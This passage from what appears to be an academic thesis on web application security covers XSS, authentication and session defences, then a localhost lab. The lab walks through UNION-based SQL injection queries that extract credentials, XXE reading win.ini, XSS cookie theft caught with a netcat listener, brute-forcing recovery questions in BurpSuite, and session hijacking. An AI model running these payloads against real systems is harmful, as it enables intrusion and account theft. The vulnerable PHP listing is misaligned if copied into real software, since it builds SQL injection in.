document.body.style.backgroundImage =  
 "url(<%=Encoder.encodeForJS(Encoder.encodeForURL 
                                 (companyName))%>)"; 
 
            Listing 18. JavaScript encode inside CSS 
 
Validation of input and output data 
 
Encoding is not enough to provide maximum security against DOM-based XSS be-
cause sometimes encoding can be easily bypassed. Along with the encoding proce-
dure, the client side validation of input and output data can be a useful technique to 
prevent a DOM-based XSS attack. The validation technique in DOM-based XSS is the 
same as in reflected or stored XSS where the main principle of validation was complete 
rejection of untrusted data. Another approach of validation is sanitization of untrusted 
data by removing invalid characters from the user input. 
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4 Broken authentication and session management 
 
4.1 Broken authentication 
 
Authentication in a web application is verification of the user of the application. So 
when the user passes the user name and password to the application, the application 
verifies if the user is legitimate by comparing the data supplied by the user with the 
data it has in its system. If the verification is true, the application lets the user to log in. 
Otherwise it forbids the user from logging in. 
 
Figure 5. Login form 
 
If an attacker is able to break the authentication of the login form as shown in figure 5, 
he or she can easily access unauthorized information of other users or confidential 
data on the system. Breaking authentication is the result of a weakness in the authenti-
cation mechanism. One of the common authentication flaws is a weak password. The 
authentication of an application can be easily broken it accepts low-level passwords. A 
low-level password means a password that can be easily guessed by an attacker or 
other users. A low-level password is generally very short in length and contains the 
same characters as the user name, common words such as date of birth .If the applica-
tion does not prevent the user from repeating login attempt, the attacker can apply a 
brute force login to access the credentials of other users. The attacker can use pass-
word guessing software which makes automated attempts until the correct credential is 
passed to the application. Some web applications appear to be more user friendly 
when it comes to authentication by displaying a verbose login fail message. If the user 
inserts the correct user name and wrong password, right away the application displays 
the incorrect password. This makes the attacker’s work much easier because he or she 
can use the automated attack to guess the password. [9, 161-166] 
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Generally, applications with login functionality have additional features for password 
retrieval if the password is forgotten. During registration, an application might ask some 
common questions which the user has to answer to complete the registration process. 
When the user goes to the password forgotten section, he has to give the correct an-
swer to those questions and the password is generated. If the attacker knows the user 
well, he or she can use this feature of the application to gain access to the password of 
another user. Some applications implement a very minimal level of validation for au-
thentication. Validating only certain first characters of user supplied data, with no im-
plementation of case-sensitive or unusual characters. 
 
Defensive measures 
 
One effective way to prevent authentication from being broken is to implement strong 
credentials. The minimum length of the password should be set. A password passed by 
the user which is less than the minimum length should be discarded. In addition to this, 
the password should have at least one or more than one numeric characters, alpha-
betic with both lower case and upper case letters and typographic characters. The re-
peated login attempt should be discouraged by the application. The application should 
have the functionality which provides the user to change the password. The Advantage 
of the password change functionality is that the user is suspicious that the password 
might be stolen, he or she can immediately change the old password. Similarly, if the 
user changes the password periodically, the chances of password being stolen by a 
password guess attack reduces. Meanwhile, the application should implement a secure 
password recovery system, so that if a user wants to retrieve the forgotten password 
instead of answering questions, some other authenticated mechanism should be used. 
Leakage of information over a network should be prevented. Credentials should be 
stored or transmitted in such a way that they are unreadable or not viewable by eaves-
droppers. Credentials should be encrypted and the Secure Socket Layer (SSL) tech-
nology and POST method should be used for transfer of data between the client to the 
server and vice versa. The application should validate each character of the credentials 
supplied from the user properly. [21] 
 
4.2 Session management 
 
Session management is a crucial component in a dynamic web application. The web 
application implements session mechanism to create a session token once the user 
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has logged in and the session token authenticates the user for every single request 
made by him until the session is destroyed. Once the session token is created, the user 
will submit this token on each following request. In the absence of a session token, in 
order to make the following request, the user must submit credentials such as the user 
name and password, etc. Since the session token authenticates the user, it is always a 
potential target of attack. If the attacker can manage to hijack the session of the user, 
he can steal confidential data of the user or can view information submitted by the user.  
Figure 6 shows session stealing through session sniffing method. 
 
Figure 6. Session sniffing method 
 
The session token can be vulnerable to attack because of the following weaknesses. 
I. Weaknesses in token generation 
II. Weaknesses in session token handling 
 
Weaknesses in token generation 
 
Some applications generate session tokens with meaningful data. Meaningful data can 
be the information related to the user such as the user name, password, the user’s first 
name and last name, email address, date or client IP address which are separated by 
the delimiter  and  encoded by different encoding mechanisms such as Base64, XOR 
or ASCII representation of hex characters. However, some application do not generate 
meaningful session but instead creates tokens which contain sequences which an at-
tacker can easily track, using some automated attack techniques. It is also often in the 
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web application that session tokens are encrypted using secret keys. Encrypting tokens 
are considered safe, but it merely depends on the encrypting algorithm. In some situa-
tion, an attacker can read the content of the token without decrypting it. Encryption 
based on symmetric encryption algorithms is vulnerable to attacks because the en-
crypted ciphertext block is identical to the plaintext block. [9,210-223] 
 
Weaknesses in session token handling 
 
Secure session token generation is not enough to prevent attackers from stealing ses-
sion tokens of legitimate users. Handling session tokens is as crucial as generating 
session tokens. Any shortcoming in handling a session token after its generation can 
lead an attacker to misuse, guess or capture the session token. The session token is 
issued by an application and transmitted to the client through the network. An attacker 
can capture the session token, if it is transmitted through an unsecure network lending 
him credentials of the user. A web application uses HTTPS to secure its content over 
the network. However in some case, the application implements HTTPS only during the 
login. Once the user is logged in, all other subsequent requests and responses are 
sent via HTTP and as a result an attacker can capture the session token over the net-
work. Another vulnerable location for the session token to be disclosed to an unauthor-
ized user is system logs. In some web applications, vulnerability in session manage-
ment arises due to allocation of multiple session tokens to the same user or allocating 
static tokens. Static token appears and act like session token, but the same token is 
issued each time the user is logged in the application. Session termination is an im-
portant component in handling sessions. In the absence of session termination or 
keeping life span of a session for a long time increases the chances of session being 
stolen. Moreover, as described in section 3, if the application is vulnerable to XSS, it 
might result in session token theft. [9, 224-243] 
 
Defensive measures 
 
Although there are multiple ways of attacking sessions from both the client side and 
server side, implementing some preventive measures can provide security against this 
vulnerability. Weaknesses in session token generation can be eradicated by develop-
ing strong session tokens. Strong session tokens mean that session tokens should 
contain strong cryptography where the keys in the token should be longer than 64 bits 
in length. 128 bits in keys are considered highly secure. In addition to this, the session 
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token on the client side, other than an identifier, should not contain any sensitive data 
or structure such as the user name and password. While generating an identifier, spe-
cial consideration should be taken so that session tokens are unpredictable by an 
eavesdropper or attacker. Hence, the identifier should be pseudorandom and should 
have sufficient entropy. Similarly, HTTPS should be implemented for every page of the 
application to make the session more secure over the network. Hiding the session also 
provides a good level of security to the session, so while transmitting the session token 
in the URL, the GET method should be avoided because using the GET method makes 
the session token visible in the URL. Instead of the GET method, the POST method 
should be used for propagation of the session token. Finally, if a user logs out of the 
system or he is inactive for a certain time, the session should be destroyed automati-
cally. [22] 
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5 Testing methods 
 
5.1 Injection test 
 
An SQL injection was tested to attack the database and an XML interpreter injection 
was carried out to attack back-end components. Since these attacks are considered 
serious internet crimes, all the tests were performed on the local host. Testing was ac-
complished by both a penetration method and a code review method.  
 
5.1.1 SQL injection test 
 
A test environment was set up by configuring and installing Wampserver software. 
Wampserver contains components such as Apache web server, MySQL database and 
support for PHP languages. An application was created on the Wampserver for the 
SQL injection test. 
 
As stated in section 2.1, SQL injection is insertion of malicious code through the user 
input of the application and execution of such code changes the semantics of the appli-
cation. The main target of the SQL injection test was to go through the tables of the 
database and extract the user name and password from the table. The following steps 
were considered which executing the SQL injection test on the application 
 
Step 1: 
 
The first step was to inspect whether the website was vulnerable to SQL injection at-
tack or not. A vulnerability test was carried out by adding single quotes ( ‘ ) in the user 
input field. The reason behind doing so was that if the website had improper validation 
and sanitization of the user input, the database would show an error message as 
shown in the figure 7. 
 
Figure 7. Error message from database 
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The SQL statement which accepts a user input parameter is shown in listing 19, and 
appendix 1 contains the complete source code for the query. 
  
$id = $_GET['id']; 
$getid = "SELECT first_name, last_name  
      FROM users WHERE  
      user_id = '$id'";  
 
Listing 19. SQL statement accepting user input 
 
Step 2:  
 
From figure 7 it was confirmed that the application used a MySQL database. The next 
step after that was to check the version of the database because the updated version 
has some new syntax added or old syntax removed. As a result different vulnerabilit ies 
exist in the different versions of the same database. In MySQL, the UNION operator 
combines two or more SELECT queries and is an important component to form injec-
tion. To extract the database name and its version, the UNION operator was used. Its 
backend source code   is shown  in listing 20. 
 
 $getid =“SELECT first_name, last_name FROM users 
               WHERE user_id=’’  
               UNION SELECT database(), @@VERSION #’” 
 
Listing 20. Backend statement for database and version 
 
Figure 8 is the output of the execution of the SQL statement shown in listing 20. In fig-
ure 8, “ID” holds the syntax, “First name” holds the name of database and “Surname” 
holds its version.  
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Figure 8. Extraction of database name and version 
  
Step 3: 
 
Since the name of the database was known, the next step was to search for tables in 
the database. The metadata of the database in MySQL can be accessed by INFORMA-
TION_SCHEMA. INFORMATION_SCHEMA has multiple properties which help to access 
different component of database with read-only privilege. INFORMA-
TION_SCHEMA.TABLES was used to generate tables from the database. The SQL 
statement used for generating the tables from the database “user” is illustrated in listing 
21 and its output is shown in figure 9.  
 
$getid  =“SELECT first_name, last_name FROM users                        
              WHERE user_id=’’  
              UNION SELECT NULL, table_name 
    FROM INFORMATION_SCHEMA.TABLES  
    WHERE table_schema =’dvwa’ #’” 
 
Listing 21. Statement for table names inside the database dvwa 
 
As seen from figure 9, it was proved that there were two tables in the database namely 
“guestbook” and “users”. 
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Figure 9. Tables inside the database dvwa 
 
Step 4: 
 
Generally the name of the table gives the clue of the data it contains. Hence, it was a 
good idea to exploit the table “users”. The columns inside the table “users” were ex-
tracted by the INFORMATION_SCHEMA.COLUMNS syntax. Listing 22 is an example 
code for extracting all the columns from the database “users”. 
 
$getid  =“SELECT first_name, last_name FROM users                        
                  WHERE user_id=’’  
                  UNION SELECT NULL, table_name 
        FROM INFORMATION_SCHEMA.COLUMNS  
  WHERE table_schema =’dvwa’ AND table_name=’users’#’” 
 
Listing 22. Column name inside table users 
 
In figure 10, “ID” holds the value inserted into the user input field while “Surname” holds 
columns inside the database. 
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Figure 10. Columns inside the table user 
 
Step 5: 
 
After collecting all the important information about the database, the final step of the 
test was to obtain the user name and password of all the users from the table “users”. 
MySQL query for this operation was very simple.  
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Figure 11. User name and password of all the users 
In figure 11, “ID” holds user inserted parameter, “First name” holds user name and 
“Surname” holds password. 
 
5.1.2 XML interpreter injection test 
 
The setup for an XML interpreter injection test was installation of Wampserver on the 
Windows operating system. In addition to that, a simple application was created  which 
would take an XML input from the user and display the content of the input to the user.  
An XML injection occurs when malicious XML data are executed by the system. For the 
XML injection test, a crafted XML external entity was inserted into the user input of the 
application to generate win.ini file. Below are steps that were followed in the XML 
injection test. 
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Step 1: 
 
The first step of the test was to check the data type in the app lication’s request. This 
was done by passing XML data into the user input field. Figure 12 clarifies that the data 
type of the request was in XML format because the attacker submitted XML data and 
the application parsed that XML data. 
 
Figure 12. Vulnerability test for XML injection 
 
Step 2: 
 
After this, the following step was to check the application’s vulnerability status.  At first  
a predefined entity such as &quot; was passed into user input to inspect the applica-
tion’s filter mechanism. As the application allowed the use of the entity, then a custom 
entity was defined in the XML document using DTD and passed into the user input field 
as shown in figure 13. 
 
Figure 13. Test for XML external entity 
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After clicking the “Submit” button shown in figure 13, the application parsed the XML 
input and its output is shown in figure 14, which indicated that the application was vul-
nerable to the XML XXE injection. 
 
 
Figure 14. Result from XML external entity test 
 
Step 3: 
 
Since the application was vulnerable to XXE, a further step of the test was to include 
the external entity in the XML document before passing it to the server, which would 
interact with the system file of the server. To extract content from the system file, path 
SYSTEM “file:///windows/win.ini” was defined in the entity as shown in figure 
15. 
 
Figure 15. XXE injection to display a system file 
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In the absence of proper sanitization, the XML parser parsed XML statement, and re-
trieved the system file from the server and that file contained important information 
about the system as shown in figure 16.
Figure 16. Result from XXE injection. 
 
5.2 Cross-site scripting test 
 
The software used for the test was BackTrack 5 r3 which is Linux-based, used for 
penetration testing. In addition to this, a Firefox extension called Tamper Data was 
used to edit the HTTP request. A cross-site scripting attack occurs when a malicious 
script is injected into the URL or the user input field of the web page and is later exe-
cuted by the client’s browser. A cross site scripting test was carried on stored XSS 
where the application was tested from very simple vulnerability such as displaying an 
alert box to stealing a cookie of another user.  
 
Step 1: 
 
The first step was to check if the application was vulnerable to XSS or not. In stored 
based XSS, the application stores a malicious script in the database permanently   and 
when other users access the application, it is executed. Thus, the JavaScript code was 
inserted to check the behavior of the application. Figure 17 shows that the user “bha-
nuy” inserted an alert function of the JavaScript inside message section of the applica-
tion. 
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Figure 17. Vulnerability test of XSS injection 
 
When another user named “admin” logged into the application and accessed the page, 
the script was loaded and the alert box was popped out as shown in figure 18, which 
ensured the application being vulnerable. 
 
Figure 18. Result of XSS vulnerability test 
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Step 2:  
 
After being confirmed that the application was vulnerable to XSS, session stealing was 
the best way to exploit the application. BackTrack5 r3 was configured and installed in a 
virtual machine. After that, the attacker logged into the application from BackTrack5 r3 
and inserted the script as shown in figure 19, and it would generate the cookie of the 
victim. At the same time the attacker launched the “nc–lvp80” command inside the 
terminal of BackTrack5 r3 to receive the victim’s session token. 
 
 
Figure 19. Malicious script generating the cookie of another user 
 
Step 3: 
 
When the victim logged into the application and viewed the page, the command 
launched in step 2 established a connection with the victim’s machine and the victim’s 
session token was disclosed in the terminal of BackTrack5 r3 as shown in figure 20. 
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Figure 20. Session token of the victim captured by a netcat listener 
 
Step 4: 
Finally Tamper Data was started on the attacker’s browser and the attacker’s session 
token was replaced with the victim’s session token. After clicking the “OK” button of 
Tamper Popup, the attacker was logged into the application with the victim’s creden-
tials as shown in figure 21. 
 
Figure 21. Attacker logged in with the victim’s credentials 
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5.3 Broken authentication test 
 
In the broken authentication test, the password recovery mechanism was tested to 
break authentication of the application. A simple login application with the password 
recovery functionality was created on Wampserver where the user could retrieve a for-
gotten password of the application by answering some of the questions which the user 
had selected while registering to the application. BurpSuite software was used for this 
test. In BurpSuite, an intruder is a functionality of the software which is used for the 
automatic customized attack. The steps shown below were followed to access the 
password of another user. 
 
Step 1: 
 
It was assumed that the attacker knew the user name of the victim but did not know the 
password. Hence, the “Forgot Password” link was clicked from the login page which 
gave a set of a few questions as shown in figure 22. 
 
Figure 22. Hint question for password recovery 
 
Step 2: 
 
The next step was to set BurpSuite in the attacker’s browser. Once the attacker clicked 
the “Submit” button shown in figure 22, the request was then sent to the intruder of 
BurpSuite and inside the “Positions” tab of the intruder the request was further config-
ured for the payload marker and attack type. The function of the payload marker was to 
define the number of payloads. Payload marker was inserted by clicking the “Add” but-
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ton inside the position tab. For the attack type, Cluster bomb was selected. It uses mul-
tiple payload sets and iterates through each payload set.  The configuration of the re-
quest inside the “Positions” tab is shown in figure 23. 
 
 
Figure 23. Configuring payloads in intruder of BurpSuite 
 
After configuring the request inside the “Positions” tab, the “Payloads” tab was clicked 
to make further configuration of the payload. Since the attacker knew the user name of 
the victim, the value for the first payload was “bhanuy”. The value for the second pay-
load was the city name, so a text file containing a list of the cities of the world was 
loaded. At the end, for the third payload, a text file containing the names of colours was 
loaded.   
 
Step 3: 
 
When the attack was fully configured, the final step was to launch the attack by select-
ing the “Start attack” from the Intruder menu. A new window appeared which contained 
the result table of the attack. The result table contained the request number, payloads, 
HTTP status, error, time length, and the length of response in bytes. Figure 24 shows 
the result table of the attack. 
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Figure 24. Result of automatic attack in BurpSuite 
 
As seen from figure 24, it was confirmed that the request number 101 held authenti-
cated values for the payloads because its HTTP status code was 200, which stated 
that standard response was sent for a successful HTTP request. When the same re-
quest number was clicked, at the bottom of the window, the response from the server 
was rendered, and it contained the user name and password of the victim. 
 
5.4 Session management test 
 
The session token is an identifier between the client and the server. One of the most 
common ways of stealing a cookie is done by cross-site scripting which has been dem-
onstrated in the cross site scripting test. The test carried out in session management 
was session hijacking through session sniffing. The software used for this test were 
WireShark and Tamper Data. WireShark is an open source software which is used in 
packet capturing and protocol analysis. In order to perform the test, a simple login form 
was created where the user could be logged in by supplying the user name and pass-
word. The test was performed on the local host using Wampserver. The following steps 
were carried out during the test. 
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Step 1: 
 
WireShark and Tamper Data were installed on the attacker’s computer. The attacker 
was logged into the form application with his or her user name and password. It was 
assumed that the victim was using the same network. Figure 25 shows that the at-
tacker was logged in with Mozilla FireFox. 
 
 
Figure 25. Attacker logged into the application 
 
In order to demonstrate that the victim was using a different computer, the victim was 
logged into the application with Google Chrome as shown in figure 26. 
 
 
Figure 26. Victim logged into the application 
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Step 2: 
 
The next step was to run WireShark on the attacker’s computer and capture the traffic 
sent to and received from the machines which were using the same network. Once the 
victim refreshed the page or made any request to the server, the packet sent by the 
victim was captured and the content was displayed in WireShark. In figure 27, the high-
lighted packet states that the victim made a request to the server and the content of the 
packet can be seen at the bottom of the same picture where the session token is dis-
closed as PHPSESSID =sl3u46m375b89lpbfj7l10blo7. 
 
 
 
Figure 27. Capturing the victim’s request in WireShark 
 
Step 3: 
 
The final step of the test was to start Tamper Data on the attacker’s computer. When 
Tamper Data was started on the attacker’s browser, for every request from the at-
tacker’s browser, tamper data would give an option to manipulate the request before 
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sending it. The victim’s session token was already captured as shown in figure 27. The 
final move of the test, was to replace the attacker’s session token with the victim’s ses-
sion in Tamper Popup. As shown in figure 28, the attacker’s session token is replaced 
with the victim’s session token.  
 
Figure 28. Editing session token in Tamper Data 
 
When the “OK” button on Tamper Popup was clicked, the attacker was logged in with 
the victim’s credential which is shown in figure 29. 
We
 
 
Figure 29. Attacker logged in as a victim after hijacking the victim’s session token 
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6 Results 
 
After the successful testing of SQL injection on a vulnerable web application, the user 
names and passwords of the users were extracted. Similarly, the result from XML injec-
tion gave access to the system file of the server on which the application was built. In 
both cases, a common mistake in the applications was that they did not have proper 
sanitization and validation of user input. Moreover, while reviewing the source code in 
appendix 1(listing 25) it was observed that the application’s interaction with the data-
base was through normal SQL query. SQL injection in the application can be avoided 
by filtering user supplied data. At the same time, a prepared statement would be a bet-
ter option to prevent malicious code from being executed. The situation of the XML 
injection test concluded that the application not only lacked XML validation and XML 
encoding but also used the GET method for the request as the URL displayed all the 
content of the request shown in figure 12. To prevent XML injection, the application 
should use the POST method. XML validation in the application can be achieved by the 
use of regular expression. Finally, the important safety component is XML encoding 
which can be done with the function as shown in listing 23. 
 
functionencodeForXML($input) 
    { 
if($input === null){ 
return null; 
          } 
return $this->_xmlCodec->encode($this->_immune_xml, 
$input); 
        } 
 
Listing 23. XML encoder function in PHP 
 
In the cross-site scripting test, the attacker managed to insert a malicious JavaScript 
code in the comment section of the application, so that when another user viewed the 
page the application would send a cookie of the user to the attacker. The final result of 
the test was that the attacker successfully gained access to the application with the 
credential of another user. The main fault in the application was that it completely failed 
to sanitize both name input and message input. As a result, the application was vulner-
able to the XSS injection.  A solution to prevent such vulnerability is sanitization of user 
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input by removing special characters from the input and then use of HTML character 
encoding. Listing 24 shows sanitization of user input.  
 
$message = trim($_POST['mtxMessage']);  
$name    = trim($_POST['txtName']);  
     
// Sanitize message input  
$message = stripslashes($message);  
$message = mysql_real_escape_string($message);  
$message = htmlspecialchars($message);  
     
// Sanitize name input  
$name = stripslashes($name);  
$name = mysql_real_escape_string($name);   
$name = htmlspecialchars($name);  
 
Listing 24. Sanitization of user input against XSS    
 
As stated earlier in section 4, there are plenty of ways of breaking authentication of a 
system and stealing session tokens of another  users. In the session management test, 
the attacker used session sniffing method to peek into the network between the victim 
and server to gain the session token of the victim. Once the session token was cap-
tured, attacker took advantage of it to access the application as the victim. The reason 
behind session hijacking was that the session token was transmitted through HTTP, 
which is not considered secure for transmitting confidential information. A solution for 
this problem is the transmission of the session token with HTTPS. The password re-
covery mechanism provides assistance to those users who forgot or lost their pass-
word. Yet, the way the application used an insecure way to distribute the password to 
the user which was easily broken by attacker by the use of the automatic attack tech-
nique. To make the password recovery mechanism fairly secure, the application should 
email password to the address that the user provided during registration.  
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7 Conclusions 
 
Vulnerability in a web application evolved from the early development of the web tech-
nology. As the time passed, some of the vulnerabilities were eradicated and some of 
them are still there, while new types of vulnerabilities were created and some serious 
vulnerabilities can be expected in the future. Similarly, sometimes attacks are done 
with compound vulnerability such as injection with XSS or injection with DNS hijacking 
whose consequences are more severe. To conclude, it would be incorrect to say that a 
web application which is secure now will be secured in the future as well or the imple-
mentation any particular type of safety mechanism would be sufficient against a web 
threat. As demonstrated in the XSS test, a cookie of another user was stolen with XSS. 
Preventive measures against XSS would prevent an application from an XSS attack. 
However, it would not guarantee the prevention from cookie stealing because the 
cookie was still been stolen by the session sniffing technique as demonstrated in the 
session management test. 
 
In the real world, it would be difficult to say that an application is completely secure. 
Despite all the web threats, application can attain a maximum security with a better 
coding approach and the developer’s knowledge of web security. From the security 
point of view, the application should be regularly updated so that it could not be a soft 
target for new web attacks or existing ones. Application security is not fully the devel-
oper’s responsibility. The user’s role in the application security should never be side-
lined. The user of an application should have a certain level of awareness, so that 
eavesdroppers cannot take advantage of their negligence. Even though the application 
provides a maximum level of security, the users should make sure that they are using 
the application in a secure environment such as secure web browser and network. 
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Complete backend source code for SQL injection test 
 
<?php 
 
if(isset($_GET['Submit'])){  
 
    // Retrieve data  
    $id = $_GET['id'];  
 
    $getid = "SELECT first_name, last_name FROM users WHERE  
user_id = '$id'";  
    $result = mysql_query($getid) or die('<pre>' . mysql_error() 
. '</pre>' );  
 
    $num = mysql_numrows($result);  
    $i = 0;  
 
while ($i< $num) {  
 
    $first = mysql_result($result,$i,"first_name");  
    $last = mysql_result($result,$i,"last_name");  
 
echo '<pre>';  
echo 'ID: ' .$id.'<br>First name: '.$first.'<br>Surname: '. 
$last;  
echo '</pre>';  
 
    $i++;  
    }  
}  
?> 
 
Listing 25. Source code of SQL vulnerable application 
 
 
